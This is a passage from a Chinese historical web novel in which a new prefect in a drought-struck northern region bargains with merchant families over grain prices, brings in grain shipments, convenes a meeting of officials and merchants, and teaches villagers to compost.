“大人唤我?”不多时,赵青青就过来了,在外人面前,她称呼赵丰年‘大人’。 “赵典吏,这两位是牧县的县令拓大人,跟师爷王先生,一会儿你带着施工队跟他们去一趟牧县。” “是,大人,下官见过拓大人,见过王师爷了。” “拓大人,这位是我府衙户房典吏赵大人,也是我之副手,一会儿由她带着人陪你们去牧县,拓县令?拓九?” “啊?” 只见拓九回过神来,满脸通红,眼神躲闪。 赵丰年挑眉,“拓县令可是身体不适?” “不不不,我身体很好,真的,非常好,我能一只手举起一只羊!你相信我!”说完,他眼睛盯着赵青青。 赵青青一愣,忽的又笑了,“拓大人看上去便威猛有力,下官自然是信的。” 只见他脸色更红了,眼睛也不敢往赵青青那边瞟。 赵丰年还有什么不明白的,只看了眼赵青青,两人视线交错,赵青青眼里露出疑问,赵丰年便又笑了,没说什么,只是又加了几个护卫兵一同前往。 拓九是少年春心萌动,但是怕是他青姐还不明所以没开窍呢。 解决了牧县的事,五树县的就不远了,果不其然,第二天,五树县的人就来了,只不过来的不是县令,是县衙的主簿。 “我家大人本来几日前就想来拜见府台大人了,只是近日里受了凉,身体不适,怕冲撞了府台大人,这不是,人还在病床上,就着急麻慌地让小的过来给大人请安了。” 赵丰年自然不会信,但是他也没指望一下就让几个县城的人都低头,如今过冬才是最要紧的,只说了一句让他们大人保重身体,听到他说他们也想为百姓盘火炕,又命杨菱带人前去。 如此一来,北定府底下五个县都解决了,赵丰年这才打起精神,准备跟王李两家见一面。 第60章 第60章粮食 赵丰年跟王李两家约在了北定府唯一的一家酒楼,也是赵丰年刚来之时,盛富贵摆下接风宴的地方,名叫吉祥楼。 “知府大人要买粮?”二楼包厢中,李家主看了赵丰年一眼,随即老神在在,“须知如今的粮价可是居高不下啊,不知大人买来何用?” 赵丰年笑,“自然是吃用,不瞒二位,圣上关心北地,我来也得匆忙,本就是农家出生,又没带多少细软,到了这北地才知道,粮价竟跟京城有得一拼,这不是,听闻王李两家乃是北地一等一的豪绅人家,便想问问两位家主,是否有那陈年旧粮,价格稍稍便宜些的,我好买上几石糊口。” 李家主哈哈一笑,“赵大人可真能开玩笑,我都听盛通判说了,赵大人是状元出身,那是文曲星下凡,得了皇帝陛下看重才来北地,如何缺了粮吃,再说,大人最近的动作可不小啊,就是如今这府城里,谁家不想盘火炕。” “小打小闹,上不得台面,见笑见笑。” “不过话又说回来了,近些日子怎么不见盛通判?” 这个老狐狸,赵丰年不信他真不知道盛富贵怎么回事,只是仍然笑着,“盛通判叫人传话到府衙门,说是偶感风寒,如今在家休息呢,这北地确实苦寒,也难为盛通判一把年纪还要这般操劳了。” 李家主笑了笑,又接着说粮食的事。 “赵大人真缺粮,我那库房里还剩下几石,全当送给大人就是了,谈 买卖实在伤了和气,王家主,你说呢?” 一直没怎么说话的王家主这才点头附和,“李家主所言极是,我王家也愿意献米粮支持府衙。” 赵丰年笑了笑,旋即正了色,“其实,今日我本意是想劝说两位家主降低粮价而来。” 此言一出,王李两位家主脸色均不大好看。 “近来,北地旱了也数月,庄稼收成不好,即便是免除了这季的粮税,百姓依旧揭不开锅,只能依赖买粮,只是这粮价居高不下,并非人人能负担得,所以,我想恳求两位家主,降低粮价,好叫百姓买得起粮食度过眼下的难关。” 一阵沉默后,李家主率先开口了,“赵大人可真么会说笑,只是我两家是做生意的,放粮救灾那是官府的活,粮价上涨,也是因为粮食难得才上涨的,我们也是有成本在里头的,这会儿您叫我们降低粮价,那回头我们可是要亏了本了,届时一家老小还有铺子里的那些伙计,岂不是都要喝西北风去了,赵大人可怜那些百姓,只是我们这些百姓又怎么就不管了呢?” 王家主则是问道,“不知我们这样做有什么好处呢?” 赵丰年点头,“让两家降粮价,自然是损害了两家的利益,必不能叫你们白做,等年后,我会禀告朝廷,让朝廷给予两家嘉奖,除了朝廷的嘉奖,府衙也会出面为两家宣传,并且本官承诺,会在北地开立官学,届时你们两家若有意,都许三个名额。” 本朝不禁商贾后人科举,但没有功名的商贾后人,是进不了官学的。 王家主不发一言,李家主却又笑了,“赵大人可真是好大的口气,不过您想必还不知道吧,以前也不是没有知府立下豪情壮志,要在此地设官学或是私塾,可如今赵大人可在北地见到一家私塾了吗?自是没有的,因为啊,这北地,都是能活一天算一天的主儿,谁还想着读什么书,做什么官呢,就是那些县令,能识得几个字就算不错了,至于朝廷的嘉奖,老夫活了一辈子了,如今有了这么一份家产,还想什么朝廷嘉奖呢,衙门的宣传,这倒是个新鲜词,不过想来就是夸夸我们,倒不是老夫自夸,只是我李家在北地的生意,托各位父老乡亲的关照,还算不错,便不劳衙门费心了。” 不投机半句多,赵丰年知道此事大概是不成了,却还是问了问王家主。 王家主垂眸,面上没什么表情,“赵大人,便是有了官学,也没有先生,就是有先生来,也未必能科举致仕,北地早就被放弃了。” 赵丰年看了他一眼,慢慢收回目光。 “既是如此,本官也不必强求了。” 赵丰年从二楼下来,大胖跟李将军连忙迎了上去。 “阿年,方才我看见李家主跟王家主先离开了,他们是不是不答应?” 李将军一脸不出所料,“这种为富不仁的,能答应就奇了。” 赵丰年却抬头,“倘若他们其中有一人答应了,那李将军待如何?” “那之前那事,我便答应你。” 赵丰年勾唇,“那李将军可要准备好了,瞧,人这不是就回来了。” 几人朝着他的目光看向了酒楼门口,竟是王家主。 “赵大人,不知可否再移步聊几句?” 赵丰年微笑,“自无不可。” 一直回到府衙,大胖都不知道,怎么那王家家主就答应了下来。 “你仔细想想,王家人的名字,就知道了。” “什么意思?”赵丰年走了,大胖就看着李将军。 李将军回忆了一番,恍然大悟,“原来如此。” “什么就如此了?” 李将军看着他,一脸嫌弃,“你这样的头脑,赵丰年为何还如此重用你?” 大胖不乐意了,“这话说的,我可是阿年的亲哥哥,对阿年的忠心哪里是你能比得上的,你一个后来的,呵呵!” 李将军不肯告诉大胖,还对大胖发起了嘲讽,大胖只能追上去想继续问赵丰年,恰好这时赵来贺听到了便问了一嘴。 “名字?哦哦,那我知道了。” “四叔,你也知道了?你这些日子不是在府城带队盘火炕吗?” “早就盘完了,你这孩子,整日里在外面跑,是不是没好好吃饭,怎么瞧着像是瘦了。”巧娘一脸心疼。 “没呢,阿年说了,我这是肌肉,健壮着呢!四叔你快告诉我!” “王有才,王进才,王文,王举文。”赵翠翠一边写着字,一边念道。 赵来贺笑道,“翠翠说的没错,你看,王家人的名字里面,不是从文,就是从才,我前些日子打听王李两家,发现王家的 人似乎都能认识几个字,举止行为更文气些,两家虽然都是商贾之家,但王家做派也没李家那般不管不顾,对比李家抢占良田,横行霸道,王家算是厚道人家,据说在戎族占领这地的时候,王家收留了很多平民当佃户,护住了不少人百姓,百姓对王家也是认可的。” 大胖恍然大悟,“看来,这王家还真是不错的。” “听说他们家祖上是当过官的,只不过后面没落了,才开始经商,以前没办法,读书也无用,如今回到了大夏,自然是想要重现祖辈荣光的,也是难为了王家主这样为后人谋算了。” 一家人都叹气。 赵翠翠抬头看了眼,又继续写自己的东西去了。 第二天一早,去粮铺买粮的百姓惊喜地发现,粮价竟然跌了。 “糙米真的是十文钱一斤?昨天还是三十五呢,不会是什么毒粮吧。” 那伙计照样赔着笑脸,“客人说笑了,自然是真的,虽是陈粮,却也是正儿八经的好粮,我们王家粮铺响应知府大人号召,立志做利国利民好商家,为百姓服务,哪怕自己亏了本,也要跟大家伙们一起度过难关!” “王家实在是大气!” “原来是知府大人号召的,知府大人是个好官,王家也是良心商家!” “知府大人是不是就是前不久来的,一来就给咱们盘火炕的那个?” “可不就是,长得就可靠,上回我家盘火炕,我都瞧见了,知府大人长得高高壮壮的,那脸方的,一看就是好官!” “你怕是认错了,那是府衙的其他大人,可不是知府大人。” “我亲耳听见他们喊赵大人,这还能认错,你就说知府大人姓不姓赵吧?” “知府大人是姓赵,但是——” “哎呀,你们还买不买米了,不买让我先!伙计,先给我来上十斤!” 众人一听有道理,当即加入了抢购的行列,伙计连忙维持秩序。 “各位各位,劳烦听我一言,这米确实十文钱一斤,但是咱们是限量的,五口以上一家一天只能购买一斤,五口以下一天半斤。” 毕竟不可能让所有人都能吃饱,再说真缺粮的人家也不可能煮干饭尺,半斤米,人口少的人家省省还能有所结余,而人多的,虽吃不饱,却也饿不死。 只是这话一出,众人又开始吵起来了。 伙计只能继续解释,“我们王家是良心商家,既然降了价,肯定不会再涨上去,只是正因为如此,我们要满足的是整个北地的百姓,倘若人人都买许多,那便有人买不到便宜的米粮而挨饿,这有违知府大人跟我王家为了百姓的初衷,还望大家理解才是。” 虽然仍然有不少人担心明天粮价就要涨起来,但是这话听起来也有道理,因此,尽管还有不少嘟囔不满的,大多人还是接受了。 伙计也是如实登记了过后再称粮。 而王家的这一番举动顿时引起了其他粮铺,尤其是李家的注意。 起因是有些不明所以,只听说今日粮食降价了的百姓直接冲到了李家的粮铺,要买十文钱一斤的粮,却被李家粮铺的伙计当作来找茬儿的。 “我看你们是饿疯了吧,往年糙米杂粮都要八文钱,更何况今年老天不落雨,粮食都收不回来,哪来的十文钱的粮?” “可是我刚听我家邻居回来,说的就是十文钱,你们怎么又涨价了不成?” “老天爷呀,我听到声就跑出来了,涨得这样快可怎么活啊!” 那伙计不耐烦了,“要哭要吵都去别处,什么涨价,这几日没涨价都是我们李家讲良心,最便宜的,糙米四十文,爱买不买。” 这时候,有明白事的人就喊了。 “哎呀,你们来错了 ,便宜的是王家粮铺,那边糙米十文钱就能买一斤了,精米也才三十文,赶紧去!” 几人一听,呼啦啦地连忙跑了,看方向就知道是王家粮铺。 伙计本来没当回事,觉得不可能,后来看着人喜笑颜开捧着粮袋打门前经过,便好奇跑去王家粮铺那边一瞧,只见队伍都从街头排到了街尾,顿时就知道出事了。 而李家主得知这个消息,气的摔了最心爱的一只茶壶。 “这个王有才,成事不足败事有余!本来我们两家都不松口,谅那小知府也没办法,只能妥协求我们了,那才叫压人家一头,如今好了,他一妥协,我这连带着都没法做了!” “爹,他卖他的,我们卖我们的就是了,我打听过了,他们那边搞什么限购,一家一天只能买一斤,那些想要囤粮的只能回过头来做我们的生意,再说了,我们还能派人偷偷去排队,他王家不是粮多吗,那我们就都低价买进来,看他们能撑到什么时候!” “糊涂!他那是糙米限价,精米还不是照样卖?不过后头说到点子上了,我们就派人去买他家的米,等卖完了,我看他们怎么收场!到时候,全北地只有我手里有粮,我就是卖他一百文他都得给我受着!” “爹英明!” 可是很快,李家派去的人都被认了出来,百姓们纷纷谴责李家为富不仁,不但抬高粮价,还要断他们的口粮。 而李家,李家主大发雷霆。 “这点小事都做不好,要你们有什么用!” “实在是知府跟王家奸诈阴险,不知什么时候给各家发了户号牌,一家一个,还要登记后才能买,这样一来,咱们的人没有户号牌就没法行动了。” “那你们就不会跟那些贱民买下来吗?再不济,还能仿制!” “不成啊,老爷,那些人就指着号牌买粮了,都不愿意的,真花了大价钱,我们也是亏的,再有,那户号牌还有什么防伪的,我们的人模仿着做了好几个,都被认出来了。” “废物!废物!” 李家主看着底下人就气不打一处来,“看来,是我小瞧了那小知府,去,把盛通判请来,就说有事相商。” 李家这里谋算着,王家主却来到了府衙找赵丰年。 “如今,按照赵大人的吩咐,我王家在府城以及各个县城的粮铺都推出了便宜的粮米供百姓购买,只是,依眼下的情形,大人,只怕是我王家的粮库支撑不了许久了。” “王家主能鼎力相助,已经是帮了大忙了,您只需撑过这一个月,我便有其他的法子解决粮食问题,届时,北地的粮价也该降下来了,等到明年,北地将不会再缺粮。” 王家主听着最后那句话,心中也期盼着,随即,又想到了什么似的,“赵大人,有一言还想跟大人坦白,其实,府衙典吏里面,有几个我王家的小辈,起初府衙招人,我也是怕又出了什么岔子,毕竟之前总之,如今我再,便是不敬大人了,不知大人可能允我带着小辈离开?” “里头是不是有个叫王文的?” 王家主不好意思地点点头。 赵丰年笑了,“府衙如今正缺忍受人手,王文机灵,我正想让他去户房帮赵典吏,只是不知王家主愿不愿意忍痛割爱了?” 王家主当即就激动起来,“那是他小子的福气!谢大人提拔,我替他谢过大人了!” 就在大家热火朝天盘火炕之时,北地的第一场雪落了下来。 “落了雪,土壤都冻板实了,便不好再继续挖坑池了,昨日我跟小河县何县丞提过此事,百姓们很是热情,说只是挖池子的事,左右冬日里闲着也没事做,好说歹说才劝住了人。” 赵丰年点头,“这事青姐你做的对,天寒地冻的,回头冻伤了生了病便得不偿失了。” 赵青青便笑,“其实,很多百姓都还不知道为何让他们挖坑,只一听说是知府大人让做的,便没多问就去做了,还说什么要报答府衙教他们盘火炕跟降粮价。” “百姓们淳朴,能让他们不饿肚子,勉强活下去,就对官员感恩戴德了,可就是这么一点小小的要求,都有人想要破坏。” 赵青青几人也想到了小时候,那时候赵家还穷,就没有吃饱的时候,可是,只要有口吃的,他们就觉得很幸福了。 “沙沙县、犁丘县已经已经挖了八成,小河县六成,牧县九成,五树县目前只有一两家挖。” “五树县的冷县令实在是太顽固了,我去了这么多个县,上百个村子,就五树县的人最排外,而且他们也只听县衙门的,那冷县令不松口,我们好说歹说,才劝了那两家挖堆肥坑池。”大胖气结,“不过,沙沙县、犁丘县都是一开始就动工的,挖的人家也多才有八成,怎么牧县一个只比五树县早一天的居然有九成?” 面对大胖的惊讶,赵丰年只是含笑地看了眼赵青青。 “毕竟拓九十分支持府衙工作。” 大胖气闷不已,“要不后头青青你去五树村吧,我实在是跟冷县令那种一板一眼的读书人说不上话,他这个姓还真是姓对了。” 赵青青笑,“我也听说了,既然这样,那后面我们换一下试试。” “北地的冬季长,前面阿年你提过开春后再堆肥怕是来不及,我便让已经挖好的都开始留意往里放东西了,百姓们不是很能理解,不过大部分还是能照做的。” “这事青姐你安排就行,李将军,最近要辛苦你带着兄弟们多加巡逻了,有闹事的,屋顶积雪厚不扫的,都带回衙门。” “大人放心,我那帮兄弟都不是吃素的。” “这些日子能这么安稳,多亏了李将军,等这阵子忙完,我让大家好好松泛松泛,过个好年。” 李将军笑着抱拳,“那我就替那帮兄弟谢过大人了。” 几人这里正说着话,就听外头有人禀告—— “启禀大人,府衙外来了一队人马,说是姓柳,来给大人送粮的。” 赵丰年猛地站了起来。 “终于来了,走,我们一起去瞧瞧。” 李将军、杨菱还不明所以,赵青青跟大胖却猜到了。 “是柳家两个大哥?阿年,原来你说的后手是柳家?真有你的!这下可好了!” 等几人行至门口,果然见柳家兄弟带着一众人马车队候在府衙门口的广场上,周围还围了一不少百姓,都是一脸兴奋。 “大尺哥,小尺哥!”赵丰年快步上前,跟柳小尺来了个男人间的熊抱。 “阿年!” 柳小尺笑着打量他,“长高了,也黑了不少,但是壮了,好事!”又看向了赵青青大胖,赵青青大胖忙喊人。 “有你们在阿年身边,我们也放心了。” 赵丰年给替两边引荐,一番寒暄后,柳小尺才又笑道,“这回我带了八百石粮食,按你的要求,豆麦为主。” 其他人听说竟有八百石,顿时喜笑颜开。 “好好好,太棒了,小尺哥,大尺哥,赶紧进屋,青姐,你带人将这些粮食入库登记,杨知事,喊人去吉祥楼定几桌酒宴,这些兄弟们一路辛苦了,让他们吃个热乎饭!” 赵青青、杨菱各自笑着领命去了。 外头的百姓看着那一车车满满当当的粮食,脸上都笑开了花。 “都是粮食呢,知府大人真是好样的,这回咱们是不缺粮了!” 见到两个外 甥,巧娘也开心不已,要不是知道他们一路上舟车劳顿,定是要拉着他们不松手。 等柳家兄弟休息好,晚上,一家人凑在一起吃饭的时候,大家才有机会好好聊一聊。 “怀江府跟周围的几个州府今年粮食没有减产,起初价格也只比去年上浮了几文钱,只是听说江南那边是好几个月不曾下雨了,别说秋播,怕是春耕也是要收影响,再这样下去,怀江府的粮价估计也要涨了,不过我让阿牛哥帮我留意,紧着这些日子多收一些,又照你的吩咐跟乡亲们提了提别把粮食都卖了,得留些家里,以防出事。” “辛苦你们了,等开了春,北地这个地方也该动起来了,届时,便是粮价上去了,也不打紧。” “看来阿年来了北地,这边也要起来了,那我可要好好跟商会里的商户们说道说道,也好叫他们后面多来北地走走了。” 赵丰年也笑,“那就全靠小尺哥了。” 巧娘见他们聊完,忙问起了临县。 “家里一切都好,我们还特意去一趟赵家村,你们家里人也都好,舅舅舅妈你们此前回去不是买了一百亩地吗,如今都是请了人耕种,赵爷爷赵奶奶天天要去那边溜达一圈,闲暇的时候跟村里其他老人聊聊天,身体还健壮着,一顿能吃两碗饭; 大胖,你家新起了屋子了,盖了有五间青砖大瓦房,你们村里没有不羡慕的,油厂如今在临县也是遍地生花了,不过赵家村还是最大的,你弟弟也去了油厂干活了,说是挺勤快的,不出意外,马上就能当上小管事了; 陈家村那边,纺织厂也做大了,开了好几个分厂,如今我们在临县设了货点,专门跟纺织厂对接,在江南也卖得紧俏,上河村下河村合并成一个村了,最近还打算弄了一个叫什么渔场的,如今日子都过的红火。” 巧娘跟赵来贺就爱听大家都好的消息,听完只觉得心里再满足不过了。 饭后,赵丰年单独找到柳小尺,问起了赵家二房的情况。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 60-70 第61章 第61章好事 “你是怕他们再作妖吧?放心,我找人打听了,说是赵柱子考上了秀才,你赵二伯夫妻俩高兴得跟什么似的,还打算跟县城里的员外老爷结亲家,那个员外你估计也知道,就是之前你三伯的雇主,钱员外。” “竟然是钱家?” “是啊,前头才将人弟弟赶了出来,这会儿也好意思舔着脸跟你哥哥家结亲,可见这人也是真势利眼,总归他们现在一门心思就是赵柱子能中举当官老爷,哪里还顾得上自己‘死去’的两个女儿。” “如此也好,有自己的事忙着,又有中举当官的期望在前面吊着,总比他们胡思乱想好。” “可不是。” “对了,阿年,有个事险些忘了跟你说了,你家那位富大伯,想托我问问你,你这里还缺不缺人,他像是想把儿子送过来,说是只管当仆人使唤。” 赵丰年挑眉,“赵有志?” 之前赵小云就提醒过赵丰年,赵来富想效仿赵来金王三娘把儿子送到他身边来,只不过后面直到走的时候赵丰年也没见富大伯提过只言片语,便只当这事不存在了,没想到,如今来了北地,倒是听着了。 “我记得富大伯家里人都是想要赵有志继续科举的,富大伯心里未免没有存着这样的期望。” 柳小尺只笑道:“我听闻赵有志后面不是没有去试过,只是没中,估计是家里也不抱期望了,再说,在你身边做事,还怕没机会干公务么?” 赵丰年笑着摇摇头,“不管怎么说,到底是家中堂伯,劳小尺哥替我带句话,人送来可以,但是做什么得听我的。” “成。” 很快,整个北定府便都知道了知府大人又从外头弄来了大量的粮食,短时间内北定府是不缺粮了。 百姓们欢欣鼓舞,而跟着李家的几家粮商就慌了。 “倘若是这样,我们手里的粮食就真要压成陈年旧粮了!” “李家主怎么说?” “李家财大气粗,实在不行还能运出北地,我们可没有商队,贸然去外面,指不定半道上就被劫了,再说这成本也大,成本也大!” “不如再等等看,万一府衙没有粮了,我们还是能继续的。” 就在小粮商们慌张之时,李家主也在气愤不已。 “不过八百石罢了,我倒要看看他还能有几个八百石,不就是耗,我李家跟他耗到底,让他看看这北地到底姓赵还是姓李!” 百姓们可不知道上头怎样的明争暗斗,只知道除了王家,又多了好几家粮铺卖起了低价粮食,一问就说响应知府大人的号召,哪怕是自己不赚钱,也要为北地百姓都有粮吃而努力。 “知府大人说了,咱们北地百姓经历过那么多次战乱,能有今天的日子不容易,正因为如此,咱们才要更加团结一致把日子过好,咱们虽然是小粮铺,但是也愿意为了北地百姓尽一分心,做良心商家。” 百姓们顿时感动不已,而那些没有降价的粮铺,纷纷被打上了黑心的标记,连其他的商品,都遭到了抵制,与其相反的,是那些跟王家统一战线的商家,在年底盘账的时候发现,虽然粮铺亏了,但是其他生意不错,一来二去,竟是小赚的。 这些商家脸上笑着,心里更加坚定了要跟着王家,跟着府衙做事。 而年前,赵丰年召开了第一次北地官商大会。 这场官商大会的商贾是由王家带头参与这次低价粮的六家商户,而官府这边,则是赵丰年跟府衙众人,除此之外,北定府底下五个县城的话事人也都到了场。 王家主早就听赵丰年提过各县城的县令也会来参加,因此不觉得有什么,而那些不知情的商户,都被这架势弄得胆战心惊。 赵丰年还是第一次见到五树县的县令,本以为这次他也会推脱不来,没想到今日竟是第一个出现的。 看到人的第一眼,赵丰年就觉得大胖说的不错,冷县令这个名字确实符合他给人的印象。 “今日在府衙举行第一届北地官商大会,非常感谢大家百忙之中抽出空来参加,本官刚来北地不久,很多事都要仰仗着各位才能做下去,此前有做的不周到的,本官先在这里给大家赔个不是。” 众人自然忙说“不敢”。 赵丰年笑着继续,“今天到场的商户都是心里还存着仁心、良心的,正所谓孤木难支,独木难成舟,看到大家齐心协力,本官对北地的明天也更有信心了,今日会议主题有三,一是回顾过去两月我们府衙县衙做的事,从而归纳总结不足,日后工作中好加以改进;二是对大家关心的粮食问题,年后官府的工作安排;三则是,讨论在北地建立商会的可行性。” 众人听着一个比一个信息大的议题,议论纷纷。 赵丰年笑容不变,“那么,接下来,我们请府衙户房典吏赵大人为我们汇报过去两月来的工作,大家欢迎。” 底下人见是一个妙龄女子站了出来,当即惊讶不已,不过,随着跟府衙的接触多了,很多人已经知道了赵青青这位能力出众的女官员,北地民风本就开放,也不将就什么男女大防,毕竟无论男女都是要努力干活吃饭的,真讲究那些东西,饿都要饿死了。 小河县何县丞就是赵青青的忠实拥趸,当时就是听了赵青青一席话立马冲到五树县、牧县劝两县跟随府衙一起行动,此时见赵青青出场,当即喊了一声“好”。 另一边牧县县令拓九见了,皱着眉头冲隔壁问了一句,“你说他什么意思?这么一把年纪了,对着人家姑娘家叫唤个什么劲?” 冷存真只是斜了他一眼,便继续目视前方了。 “真倒霉,跟冷假面坐一块。”拓九翻了个白眼,也将注意力放在了前方。 杨菱曾说过,赵青青的话语是极易煽动人心的,此时,听完她的汇报,一帮商户看向赵丰年的眼神,充满了欣赏与 崇拜。 连赵丰年都在想,是不是府衙里该设立一个宣传部门了,到时候他青姐直接担任部长。 第二场是由杨菱上场。 在听到“知府大人宁可自己喝粥也要让北地百姓有粮,哪怕倾家荡产都要保证大家的利益不动摇,坚决跟个别黑心不良商家斗争到底,带领大家一同致富”,赵丰年就知道,杨菱多少受到了“亿点点”赵青青的启发。 好在口号喊完了,杨菱还是继续把接下来府衙的打算跟大家提了提。 听说知府大人接下来要让大家堆肥,开荒种地,还会引进大豆种子,甚至要让底下村户每家每户都拥有菜园子,就为了提高生活质量,商户们听得惊讶不已,心里只想着,这北地的天怕是真要变了。 等到了第三项,也是众商户最关心的,成立北地商会。 再经过友好而激烈的讨论后,最终定下王家主为会长,当地另外一家大粮商为副会长,赵青青作为衙门里的接头人,任荣誉会长,这场会议才最终落下帷幕。 等商户们走后,赵丰年留下来,继续跟各县官员开会。 而这次的会议,就直接跟北地的建设相关了。 等从府衙走出来,拓九神情恍惚,眼里却冒着火星,“你说,知府大人这些计划真的都能成吗?” 没有得到回复的拓九转头一看,竟又是冷存真,当即觉得没意思,临走的时候,却喊住了人,“喂,姓冷的,今天知府大人说的这些事,你不会又要禀告你的两个主子去吧?” 冷存真脚步顿了顿,却没回他这句话,拓九认定他一定会去打小报告,气愤不已,“姓冷的,你要是真是个好汗,就该明白是不,好歹捡起你读书人的傲气来,别叫小爷瞧不起!” 五树县的人走了,也不知道听没听进去。 师爷王文之这才默默问了一句,“大人是想说‘明辨是非’吧?” 拓九浑身一僵,想想更气了。 “这下冷假面更要笑话我了!” 无论是盛富贵还是李家以及跟随李家的几个商户都没有出席这场官商大会,比起李家主的冷眼旁观,盛富贵就是对赵丰年怀恨在心了,可是没有办法,他就算回到了府衙,赵丰年也只笑着说了一句“盛通判回来了”,然后就忽略他了,府衙的要事不叫他插手,议事的时候也不让他在场,其他人更是隐约孤立他。 盛通判还有什么不明白的,他本想着让赵丰年摆不平求他回去,结果人家直接给他架空了,这让盛通判不禁将李家也恨上了。 府衙这边可不知道这些,新年在即,赵丰年给衙门里的人都发了红封,又一人送了两斤猪肉,一斗米,这才放他们归家过年节去。 “今年衙门里难,暂时拿不出更好的年礼,等明年,一定给大家用车拉回去。” 众人哈哈大笑,都说已经很好了。 可不是,能拿银子回家,不知道是多大的体面,更别提还有一斗米跟两斤肉,那都是能让邻居羡慕一整年的。 李将军带来的卫兵是回不了家了,赵丰年也没亏待了他们,直接送了一头猪,又拉了一车好酒过去,当然,红封更是只多不少的。 不光李将军脸上有光,那些卫兵更是笑谈在赵丰年这里的待遇比原先营地还好呢。 安顿好了其他人,赵家一家也终于关起门来,一家人过个年了。 巧娘使了浑身解数张罗出一桌菜来。 “别说,这里虽买不到什么菜叶子,肉的种类倒是多的,你爹前两日还打了一只兔子回来。” “没有阿年前头给我做的弩箭好用,但是好歹能过把瘾,还能给家里添一道菜。”赵来贺笑呵呵。 赵丰年闻言却留了个心眼,想着得寻个合适的时机,把府衙武装起来。 过完年,府衙的人渐渐都回来了,在此之前,赵丰年收到了京城的来信,得知朝廷已经对各地干旱采取了措施,年后粮价将维持跟去年持平状态,赵丰年勾起唇角,准备等柳家兄弟来后就去底下县城巡视。 柳小尺是三月初来的,这次带了一千二百石。 “才化雪,怕路上不好走,晚了些时候,不过这回好歹是把你要的种子也带来了。” “怎么没看见大尺哥?” 说道这个柳小尺就忍不住笑了,“议亲呢!女方你也熟,就是你堂二伯家。” “你是说云姐?”这下赵丰年还真是吃了一惊。 其他人得知后,也十分吃惊。 巧娘则是全身心的开心了,“哎呀,小云那孩子,前头还说不愿意成亲呢!两个都是好孩子,小云能干有主见,大尺虽然话少了些,但是为人憨厚老实,肯定能好好待小云!是桩好亲事!” “赵小云那丫头性子那么烈,这两个人怎么看上眼的?”大胖惊奇不已,笑着忽略了巧娘不满的眼神。 “这孩子,小云那是活泼!” 柳小尺也笑了,“说来还是上次送货的事,眼下纺织厂不是开了好几家分厂么,赵小云任县城那家的厂长,大哥常带人过去接货单,一来二去就认识了,我原先也不知道这事,还是年前那会儿,娘又催了我们成家的事,大哥就说想娶你们赵二伯家的女儿,当时我们都吓了一跳,爷直接就说了,人家是纺织厂的厂长,人又能干,哪里是我们能高攀的,爹娘也是这么个意思,结果哪成想,倒是你们赵二伯找了媒婆先上家来提亲了,说是要招大哥当上门女婿,本来爹还有些顾虑,结果爷跟娘都说,我们一年到头也不着家,跟那嫁出去的女儿都没区别了,招婿又怎么了,估摸着娘也是怕我们真的不成亲了。” 几人听了纷纷都笑了。 “嫂子也是个实在人,可不是都一样的,他贵二伯家就这么一个女儿,前头就说要招婿的,说是上门女婿,只是两人都在外头干活,这在哪里没什么区别,只要俩孩子能把日子过好,那比什么都强。” “娘也是这么说的。” “可订下日子了?” “就在端午后,纺织厂忙,女方也抽不出空来。” 巧娘抚掌笑,“好好好,那你这回可要多住几日再走,我得好好给他们准备礼物!” 青青也笑,“婶娘倒是有空出去挑了,我却脱不开身的,届时要是云姐不喜欢我的礼了,那便是婶娘给衬的了。” “那有什么,我给你也挑上一份就是了,有翠翠跟我一起,保管你云姐满意!” “嗯,一起。”翠翠点点头。 赵丰年却笑,“翠翠前些日子处理衙门里的文书处理得不错,本来我还想让她年后正式去吏房,既然娘要人陪着,索性我再给她放几日的假罢了。” 提起这个巧娘就瞪儿子,“好好的两个女孩儿,都被你当男子使了,要不是她俩愿意,我定是饶不过你的!” 众人便又都笑了。 府衙这里一片喜气洋洋,却不知外头因为这一千二百石的粮食惊起了轩然大波。 “竟然又来了一千二百石?你没看错也没听错?” “小的看得真真切切的,只多不少!” “这知府是掏空了自己的兜不成?哪有这样的傻子?还是说外面的粮价已经降下来了?” 李家的那一波人惶恐不安,百姓们却再次了解到了府衙的行动力,对府衙生出了前所未有的信任。 具体体现在加入了商会的各家粮铺门口,再也不见从街头排到街尾的情形了。 “谁不知道知府大人心里惦记着我们,说到做到,真的又有粮食进了北地,我家邻居前几日都看见了,那运粮的队伍,啧啧,排成了长龙,一眼都望不到尾呢,听说府衙还要招人建新的粮仓,就是底下县城也都在建新粮仓,这说明什么,说明咱们北地不缺粮了!” 柳小尺在三月底离开了北地,四月初,河流解冻,万物复苏,赵丰年也准备巡视底下各县了。 得知知府大人要来巡视,各县也是做足了准备,第一站是五树县,五树县县衙众人以为赵丰年只会在县衙 门看看卷宗等着回话,正带着人等在衙门口,却听人回禀说是有一队人马一早就去了底下的村子。 冷存真惊讶了一瞬,随即便带着人出了府衙。 等找到赵丰年一行人,只见赵丰年已经再指点人做堆肥了。 “农作物的茎秆、杂草、树叶、人畜粪尿、地上的泥巴,都可以投入其中,一层杂草茎秆一层人畜粪尿最好,咱们这边碱性土壤为主,石灰粉就不用了,最上层用泥土,要格外留意的是温度,也就是热不热,一般来说,两到三天就开始能发热了,六七天后是最热的时候,这个时候要留意不能太干,不放心便找跟长度合适的竹竿,插进去,倘若竹竿是湿的,那不打紧,继续放着就是,倘若是竹竿是干的,那我们就要打孔加水了,二十五天左右的时候翻动翻动,然后继续等着,一般来说,一个多月就能成。” 县衙门的人都不能理解,为什么他一个知府能对这些什么“粪”啊“尿”的这么清楚,只是看着周围听得入神的百姓,又觉得他十分厉害。 “咳咳。”冷存真走了过去。 “冷县令。” “赵大人有礼,大人来了怎么未叫人通知一声?也好叫县衙迎接一番。” 赵丰年笑着看了他一眼,“不过是来看看百姓们春播准备得真么样了,何必兴师动众。” “是,赵大人爱民如子,我等钦佩。” 赵丰年忽然敛了笑,“我听闻,五树县底下做堆肥的人家屈指可数,不知冷大人对此有何解释?” “赵大人,县衙门确实在推行,不过百姓们没接触过,也没见过什么‘堆肥’,加之冬日里泥土冻得坚硬,自然不好动工。” 大胖看不下去了,“那如今都解冻了,冷大人也该让百姓们开始动工起来了吧,否则耽误了春耕,这不是误事了吗?” 冷存真看了大胖一眼,依旧对着赵丰年,“赵大人容禀,百姓们农具少,甚至几家合用一把农具都是常见,这样一来,干活效率自然低下,春耕在即,地里还未翻过,自然是来不及的。” 这个冷大人还真是油盐不进。 赵丰年没有跟他继续掰扯,又问了几句农事,这才离开了。 赵丰年离开后,冷存真身边的人便问了。 “大人,我看知府大人面色不太好看,怕是记恨上咱们了,当真还不让百姓们做堆肥吗?小的听着似乎很有道理。” 